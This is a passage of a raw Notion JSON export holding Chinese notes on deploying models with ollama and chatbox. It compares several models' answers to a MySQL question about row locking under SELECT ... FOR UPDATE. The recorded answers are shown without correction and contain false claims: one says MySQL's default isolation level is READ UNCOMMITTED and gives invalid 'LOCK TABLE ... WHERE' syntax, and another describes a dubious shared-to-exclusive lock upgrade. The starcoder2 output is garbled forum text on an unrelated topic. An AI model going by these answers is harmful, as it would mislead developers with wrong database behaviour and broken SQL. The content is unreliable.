time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"ba4103b9-8a3f-4c44-bda8-47b3722d4e15":{"value":{"id":"ba4103b9-8a3f-4c44-bda8-47b3722d4e15","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360833151,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"e8405e22-2319-4ec0-93b3-5a799df21fc4":{"value":{"id":"e8405e22-2319-4ec0-93b3-5a799df21fc4","type":"callout","properties":{"title":[["最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360921658,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc":{"value":{"id":"7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","type":"text","format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632221,"last_edited_time":1711431632221,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2aa083b8-0726-4e50-bd4d-f857b5dd0316":{"value":{"id":"2aa083b8-0726-4e50-bd4d-f857b5dd0316","type":"header","properties":{"title":[["基础配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711431632800,"last_edited_time":1711431645914,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"45149c38-559d-414b-830f-c06c20da7dec":{"value":{"id":"45149c38-559d-414b-830f-c06c20da7dec","type":"sub_header","properties":{"title":[["ollama"]]},"created_time":1711431646306,"last_edited_time":1711431652969,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"281bb727-bba8-4f6e-a1ff-b55b6f76b39c":{"value":{"id":"281bb727-bba8-4f6e-a1ff-b55b6f76b39c","type":"bulleted_list","properties":{"title":[["直接去官网下载:"],["https://ollama.com/",[["a","https://ollama.com/"]]]]},"created_time":1711431759881,"last_edited_time":1711431794946,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"b64c746d-9c8c-458e-9292-2e365dea363b":{"value":{"id":"b64c746d-9c8c-458e-9292-2e365dea363b","type":"bulleted_list","properties":{"title":[["命令行运行ollama -h查看命令集"]]},"created_time":1711431795269,"last_edited_time":1711431821182,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b":{"value":{"id":"1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","type":"bulleted_list","properties":{"title":[["查看本地模型列表:ollama list"]]},"created_time":1711431821391,"last_edited_time":1711431848208,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"db1102e6-f111-45af-96a4-db331284b95b":{"value":{"id":"db1102e6-f111-45af-96a4-db331284b95b","type":"bulleted_list","properties":{"title":[["下载并且运行模型:ollama run llama2:13b"]]},"created_time":1711431849867,"last_edited_time":1711431874747,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"78995c5e-a842-4a30-b1a9-3a93f7b37307":{"value":{"id":"78995c5e-a842-4a30-b1a9-3a93f7b37307","type":"image","properties":{"size":[["22.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0ed7329d-d7fd-4a94-b61c-b320abce770b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.14055299539170507,"block_preserve_scale":true},"created_time":1711431901576,"last_edited_time":1711431905393,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["0ed7329d-d7fd-4a94-b61c-b320abce770b"]}},"5ea402bc-1e80-4e35-9b33-43c347bda5e7":{"value":{"id":"5ea402bc-1e80-4e35-9b33-43c347bda5e7","type":"sub_header","properties":{"title":[["chatbox"]]},"created_time":1711431654467,"last_edited_time":1711431658645,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"90137cb7-47e4-42a8-bd95-3be130d612a0":{"value":{"id":"90137cb7-47e4-42a8-bd95-3be130d612a0","type":"bulleted_list","properties":{"title":[["gpt的client端,支持多种模型,包括ollama本地运行的模型"]]},"created_time":1711431904161,"last_edited_time":1711431959299,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"5ed02535-d8e3-46f5-8efb-5e68003b6fec":{"value":{"id":"5ed02535-d8e3-46f5-8efb-5e68003b6fec","type":"bulleted_list","properties":{"title":[["地址:"],["https://github.com/Bin-Huang/chatbox",[["a","https://github.com/Bin-Huang/chatbox"]]]]},"created_time":1711431959516,"last_edited_time":1711431968578,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"426b70c6-f0fe-4849-b277-b986cc09a3eb":{"value":{"id":"426b70c6-f0fe-4849-b277-b986cc09a3eb","type":"bulleted_list","properties":{"title":[["内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器"]]},"created_time":1711432015229,"last_edited_time":1711432060152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"24e1ffff-e99e-4a8e-b080-f3948a289de8":{"value":{"id":"24e1ffff-e99e-4a8e-b080-f3948a289de8","type":"bulleted_list","properties":{"title":[["支持为每一个会话指定特殊的模型"]]},"created_time":1711431972909,"last_edited_time":1711431999240,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e":{"value":{"id":"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","type":"image","properties":{"size":[["55.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6438709677419355,"block_preserve_scale":true},"created_time":1711432011414,"last_edited_time":1711432015041,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["57a953d1-aa3b-4836-b7de-fa0eb70300f9"]}},"d52f61a6-9530-45cf-8e55-5822170d7448":{"value":{"id":"d52f61a6-9530-45cf-8e55-5822170d7448","type":"header","properties":{"title":[["模型对比"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431627441,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"5efbbd51-23a0-4cc2-b034-3da0b79430f7":{"value":{"id":"5efbbd51-23a0-4cc2-b034-3da0b79430f7","type":"sub_header","properties":{"title":[["promot&question"]]},"created_time":1711431666810,"last_edited_time":1711431693171,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3fee6369-f3e1-4e3e-b833-b1f24a8acf97":{"value":{"id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","type":"quote","properties":{"title":[["promot:"]]},"content":["f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","765c2ea5-38db-401e-b852-a981010c0f96"],"created_time":1711432078852,"last_edited_time":1711432097278,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"d47a618f-cf90-4bc4-9557-6424452366d4":{"value":{"id":"d47a618f-cf90-4bc4-9557-6424452366d4","type":"sub_header","properties":{"title":[["openai:3.5"]]},"created_time":1711361547854,"last_edited_time":1711431700585,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e":{"value":{"id":"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","type":"text","properties":{"title":[["When you run a query like "],["SELECT * FROM t WHERE c=5 FOR UPDATE;",[["c"]]],[" in MySQL on a column "],["c",[["c"]]],[" that is not indexed, MySQL will perform a full table scan to find the rows that match the condition "],["c=5",[["c"]]],[". During this process, MySQL will acquire a shared lock on all the rows it reads to prevent other transactions from modifying them."]]},"created_time":1711361625622,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"74300add-803e-4d7c-8304-a821a5d5ab2c":{"value":{"id":"74300add-803e-4d7c-8304-a821a5d5ab2c","type":"text","properties":{"title":[["Here is the general process of locking and the time of releasing the lock:"]]},"created_time":1711361625624,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8976a6ea-02cb-4bf3-a518-053203e7e9c1":{"value":{"id":"8976a6ea-02cb-4bf3-a518-053203e7e9c1","type":"numbered_list","properties":{"title":[["Shared (Read) Lock",[["b"]]],[": MySQL will acquire a shared (read) lock on the rows that match the condition "],["c=5",[["c"]]],[". This lock allows other transactions to read the locked rows but prevents them from modifying them."]]},"created_time":1711361625625,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422":{"value":{"id":"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","type":"numbered_list","properties":{"title":[["Exclusive (Write) Lock",[["b"]]],[": When you use "],["FOR UPDATE",[["c"]]],[" in your query, MySQL will upgrade the shared lock to an exclusive (write) lock on the matched rows. This exclusive lock prevents other transactions from both reading and writing to the locked rows until the transaction is either committed or rolled back."]]},"created_time":1711361625626,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9":{"value":{"id":"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","type":"text","properties":{"title":[["你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。\n\nquestion:"]]},"created_time":1711432082528,"last_edited_time":1711432099043,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9":{"value":{"id":"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","type":"text","properties":{"title":[["select * from t where c=5 for update;"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"765c2ea5-38db-401e-b852-a981010c0f96":{"value":{"id":"765c2ea5-38db-401e-b852-a981010c0f96","type":"text","properties":{"title":[["but c not index,tell me the process of locking\nand the time of release lock"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb":{"value":{"id":"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","type":"numbered_list","properties":{"title":[["Time of Releasing Lock",[["b"]]],[": The lock acquired using "],["FOR UPDATE",[["c"]]],[" will be released when the current transaction is either committed or rolled back. If the transaction is rolled back, the lock will be released immediately. If the transaction is committed, the exclusive locks will be released at the end of the transaction."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eb3dc7f4-4bfd-454f-b935-cde5ab908c41":{"value":{"id":"eb3dc7f4-4bfd-454f-b935-cde5ab908c41","type":"text","properties":{"title":[["It's important to note that locking behavior can vary depending on the isolation level of the transaction and the specific MySQL configuration settings. Additionally, using "],["FOR UPDATE",[["c"]]],[" without an index on the column can lead to performance issues, especially on large tables, as it may result in full table scans and increased locking contention. Consider adding an index on column "],["c",[["c"]]],[" if this query is frequently used for better performance."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c713c08c-2d0b-4eb1-8817-71fec58212ef":{"value":{"id":"c713c08c-2d0b-4eb1-8817-71fec58212ef","type":"sub_header","properties":{"title":[["mistral:7b"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431703334,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"bbe523e1-53a1-45de-af58-03a940f59e85":{"value":{"id":"bbe523e1-53a1-45de-af58-03a940f59e85","type":"text","properties":{"title":[["Based on your SQL query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", it seems you are working with MySQL or a similar database management system. In this context, let's discuss the process of obtaining and releasing locks in relation to this query."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"4bcc27a3-8629-411b-be7a-75aea797e1ed":{"value":{"id":"4bcc27a3-8629-411b-be7a-75aea797e1ed","type":"text","properties":{"title":[["When you execute the query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", the database engine acquires a lock on the record(s) with column 'c' equal to 5, preventing other transactions from reading or updating those records until the current transaction is committed or rolled back. This process ensures data consistency and concurrency control."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a6f7759-0331-4d60-95e2-dc10c6cb87bd":{"value":{"id":"9a6f7759-0331-4d60-95e2-dc10c6cb87bd","type":"text","properties":{"title":[["The actual time of obtaining a lock depends on various factors such as network latency, server workload, and database configuration. Generally, it's considered to be an instantaneous operation once the query execution reaches that point. However, keep in mind that the actual query processing time and network transfer time might add significant delay."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"da1b112d-857e-4b6f-bf49-b7f5208b24e4":{"value":{"id":"da1b112d-857e-4b6f-bf49-b7f5208b24e4","type":"text","properties":{"title":[["As for releasing the lock, it happens automatically when the current transaction is committed or rolled back. Once the transaction has been finalized, the database engine releases the locks on the corresponding records, making them available to other transactions again."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"87c6e6a2-d2e3-4a18-8637-efe4abd4560f":{"value":{"id":"87c6e6a2-d2e3-4a18-8637-efe4abd4560f","type":"text","properties":{"title":[["Here's a simplified overview of the process:"]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28":{"value":{"id":"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","type":"numbered_list","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is executed."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a7a6897-3dfa-4aa8-9636-234b3c0b6548":{"value":{"id":"9a7a6897-3dfa-4aa8-9636-234b3c0b6548","type":"numbered_list","properties":{"title":[["The database engine locates the record(s) with 'c' equal to 5 and acquires a lock on them."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"58fecf87-6dcf-43db-a9c7-538f413796f7":{"value":{"id":"58fecf87-6dcf-43db-a9c7-538f413796f7","type":"numbered_list","properties":{"title":[["Once the query has finished processing those records, the transaction is committed or rolled back."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"68f363f2-b183-4280-9abb-eab957c3db38":{"value":{"id":"68f363f2-b183-4280-9abb-eab957c3db38","type":"numbered_list","properties":{"title":[["If the transaction is committed, the locks are released and made available for other transactions."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91":{"value":{"id":"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","type":"numbered_list","properties":{"title":[["If the transaction is rolled back, the locks are also released but any changes made during the transaction are discarded."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"7e5fed0f-7e6c-4eb0-957b-af7e801e764e":{"value":{"id":"7e5fed0f-7e6c-4eb0-957b-af7e801e764e","type":"sub_header","properties":{"title":[["llama2:4b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049479,"last_edited_time":1711361567824,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8a5c31e-aaeb-4215-bece-5545539ec80b":{"value":{"id":"f8a5c31e-aaeb-4215-bece-5545539ec80b","type":"text","properties":{"title":[["As a high-level software engineer, I'd be happy to help you with your question."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e2239195-971a-4985-8fac-5b9ea90996c0":{"value":{"id":"e2239195-971a-4985-8fac-5b9ea90996c0","type":"text","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is a common mechanism for acquiring a row-level lock on a table "],["t",[["c"]]],[" for the specified condition "],["c = 5",[["c"]]],[". When this query is executed, it will acquire an exclusive lock on the rows that match the condition, preventing any other concurrent updates or reads from accessing those rows until the lock is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"44061d98-d405-487a-b2a4-078279d3d999":{"value":{"id":"44061d98-d405-487a-b2a4-078279d3d999","type":"text","properties":{"title":[["The process of locking in this case involves the following steps:"]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"702ec273-b848-45ae-9fab-0e7e445b8470":{"value":{"id":"702ec273-b848-45ae-9fab-0e7e445b8470","type":"numbered_list","properties":{"title":[["The query is executed and a lock is acquired on the relevant rows."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e8a8f505-3549-4ded-a263-991f5462efb2":{"value":{"id":"e8a8f505-3549-4ded-a263-991f5462efb2","type":"numbered_list","properties":{"title":[["The lock is held by the thread that executed the query, preventing any other threads from acquiring the same lock until it is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"42700ae9-2627-40a2-9d1d-f9ed715ab0dc":{"value":{"id":"42700ae9-2627-40a2-9d1d-f9ed715ab0dc","type":"numbered_list","properties":{"title":[["The lock is released when the thread that executed the query completes its work and no longer needs the lock."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"a28dd66e-5a77-4dfe-815b-474c1e36c0fb":{"value":{"id":"a28dd66e-5a77-4dfe-815b-474c1e36c0fb","type":"numbered_list","properties":{"title":[["Other threads can then acquire the lock and update or read the rows that were previously locked."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c48d0617-98e9-4c69-8225-a3fc30c3d5b4":{"value":{"id":"c48d0617-98e9-4c69-8225-a3fc30c3d5b4","type":"text","properties":{"title":[["The time of release lock depends on various factors, including the operating system, hardware, and database configuration. In general, the lock is released when the thread that executed the query completes its work and no longer needs the lock. This can happen immediately after the query is executed, or it may take some time depending on the complexity of the task and the availability of resources."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"97118fdd-3e4d-4a05-8d1f-d4a942831683":{"value":{"id":"97118fdd-3e4d-4a05-8d1f-d4a942831683","type":"text","properties":{"title":[["In MySQL, the default isolation level is "],["READ UNCOMMITTED",[["c"]]],[", which means that locks are acquired using the "],["FOR UPDATE",[["c"]]],[" clause. This allows other threads to read the rows while the first thread is updating them, but it does not guarantee that the second thread will see the updates made by the first thread before committing its changes."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"29619cb8-1036-4c56-ad1d-44078669c26b":{"value":{"id":"29619cb8-1036-4c56-ad1d-44078669c26b","type":"text","properties":{"title":[["If you want to acquire a lock on a specific row or set of rows without using the "],["FOR UPDATE",[["c"]]],[" clause, you can use the "],["LOCK TABLE",[["c"]]],[" statement in MySQL. This statement allows you to acquire an exclusive lock on a table for a specified period of time, preventing any other threads from accessing the table during that time."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9b400751-4342-4a08-b4a4-df5993d548f1":{"value":{"id":"9b400751-4342-4a08-b4a4-df5993d548f1","type":"text","properties":{"title":[["Here is an example of how to use "],["LOCK TABLE",[["c"]]],[" to acquire a lock on a specific row:"]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"36ff61ac-481c-4f1f-9f17-6966b6e9789e":{"value":{"id":"36ff61ac-481c-4f1f-9f17-6966b6e9789e","type":"code","properties":{"title":[["LOCK TABLE t FOR UPDATE OF c WHERE id = 5;\n"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"aac21867-aa33-4037-93e3-03b5f0ca84f9":{"value":{"id":"aac21867-aa33-4037-93e3-03b5f0ca84f9","type":"text","properties":{"title":[["This will acquire an exclusive lock on the row with "],["id = 5",[["c"]]],[" in the table "],["t",[["c"]]],[", preventing any other threads from updating or reading that row until the lock is released."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2834c258-d3b3-48ce-9e95-8a21b18053f8":{"value":{"id":"2834c258-d3b3-48ce-9e95-8a21b18053f8","type":"text","properties":{"title":[["Note that the "],["LOCK TABLE",[["c"]]],[" statement can be used to acquire locks on multiple rows or tables, and it can also be used to acquire locks for longer periods of time than the default isolation level. However, it is important to use this statement judiciously and only when necessary to avoid contention and deadlocks."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"6e0e38e9-7774-4f49-9fbb-67e52a21593d":{"value":{"id":"6e0e38e9-7774-4f49-9fbb-67e52a21593d","type":"sub_header","properties":{"title":[["starcoder2:15b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049703,"last_edited_time":1711431711891,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2":{"value":{"id":"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","type":"text","properties":{"title":[["thank youusername_1: You are looking for a tool called "],["VisualVM",[["a","http://visualvm.java.net/"]]],[". It is part of the JDK and it allows you to connect to running java applications and view their memory consumption, threads etc.\nUpvotes: 2 username_2: Have a look at the Eclipse Memory Analyzer (MAT) plugin ("],["http://www.eclipse.org/mat/",[["a","http://www.eclipse.org/mat/"]]],["), there's a video that shows how to use it: "],["http://vimeo.com/7698540",[["a","http://vimeo.com/7698540"]]],["\nUpvotes: 3 [selected_answer]username_3: I like JProfiler for this kind of thing. It has a very intuitive GUI and gives you the information you need in a way that makes sense."]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"926cfd3e-8b8e-4b25-b780-3aedf4064879":{"value":{"id":"926cfd3e-8b8e-4b25-b780-3aedf4064879","type":"text","properties":{"title":[["http://www.ej-technologies.com/products/jprofiler/overview.html",[["a","http://www.ej-technologies.com/products/jprofiler/overview.html"]]],["\nUpvotes: 1 username_4: I have found "],["JProfiler",[["a","http://www.ej-technologies.com/"]]],[" to be very useful for this. It has a nice UI and is easy to use.\nUpvotes: 0"]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9d06ce11-437e-4aef-8661-c6551d358cf5":{"value":{"id":"9d06ce11-437e-4aef-8661-c6551d358cf5","type":"sub_header","properties":{"title":[["llama2:13b"]]},"created_time":1711361530044,"last_edited_time":1711431714948,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eecdbd14-19a7-4050-ab78-a5c5044e1336":{"value":{"id":"eecdbd14-19a7-4050-ab78-a5c5044e1336","type":"text","properties":{"title":[["Ah, I see! You're trying to understand the locking mechanism in MySQL when using the "],["FOR UPDATE",[["c"]]],[" clause. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"202e55b5-762e-4ef1-90b0-2cc0ae26a99b":{"value":{"id":"202e55b5-762e-4ef1-90b0-2cc0ae26a99b","type":"text","properties":{"title":[["When you execute a query like "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", MySQL acquires a lock on the rows that match the condition "],["c = 5",[["c"]]],[". This lock is called an \"X-lock\" or \"exclusive lock,\" which means that no other session can modify those rows until the current session releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"995338cf-4874-48b5-a462-ea834bd6b31b":{"value":{"id":"995338cf-4874-48b5-a462-ea834bd6b31b","type":"text","properties":{"title":[["The locking mechanism in MySQL is based on the InnoDB storage engine, which uses a technique called \"pessimistic locking.\" This means that when a session wants to acquire a lock on a row, it first checks whether the row is already locked by another session. If the row is not locked, the session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"bd7b81b2-82bd-4a81-950c-37ebef55f856":{"value":{"id":"bd7b81b2-82bd-4a81-950c-37ebef55f856","type":"text","properties":{"title":[["Now, to answer your questions:"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"009e62c7-e513-4e3e-a0bb-731c95f0d22a":{"value":{"id":"009e62c7-e513-4e3e-a0bb-731c95f0d22a","type":"numbered_list","properties":{"title":[["The process of locking: When a session executes a query with the "],["FOR UPDATE",[["c"]]],[" clause, MySQL first checks whether the rows that match the condition are already locked by another session. If the rows are not locked, the current session acquires the lock and prevents other sessions from acquiring the same lock until it releases the 